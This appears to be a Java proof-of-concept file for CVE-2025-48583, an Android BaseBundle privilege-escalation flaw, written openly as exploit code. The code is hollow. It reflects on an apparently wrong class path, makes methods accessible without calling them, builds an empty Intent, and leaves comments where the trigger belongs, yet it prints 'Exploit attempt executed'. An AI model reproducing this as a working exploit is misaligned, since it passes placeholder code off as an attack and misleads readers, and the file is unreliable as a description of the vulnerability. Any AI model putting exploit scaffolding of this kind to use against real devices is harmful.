CVE-2025-48583

// CVE-2025-48583 PoC - Android BaseBundle Local Privilege Escalation // Note: This is a conceptual proof of concept based on the vulnerability description // Actual exploitation requires specific trigger conditions import android.os.Bundle; import android.os.Parcel; import java.lang.reflect.Method; public class CVE_2025_48583_PoC { public static void exploitBaseBundleLogicError() { try { // Step 1: Create a malicious Bundle with crafted internal state Bundle maliciousBundle = new Bundle(); // Step 2: Use reflection to access protected BaseBundle methods Class<?> baseBundleClass = Class.forName( "com.android.internal.os.BaseBundle" ); // Step 3: Trigger the vulnerable code path // The logic error in multiple functions allows bypassing security checks Method[] methods = baseBundleClass.getDeclaredMethods(); for (Method method : methods) { method.setAccessible(true); // Attempt to trigger the vulnerable code path // Specific parameters depend on the exact vulnerable function } System.out.println("Exploit attempt executed"); } catch (Exception e) { e.printStackTrace(); } } // Alternative: Trigger via Binder IPC public static void exploitViaBinder() { try { // Get system service that processes Bundles // Trigger vulnerable code path through IPC // Example: Manipulate Intent extras that get processed by BaseBundle android.content.Intent maliciousIntent = new android.content.Intent(); Bundle extras = maliciousIntent.getExtras(); // Modify Bundle internal state to trigger logic error } catch (Exception e) { e.printStackTrace(); } } }
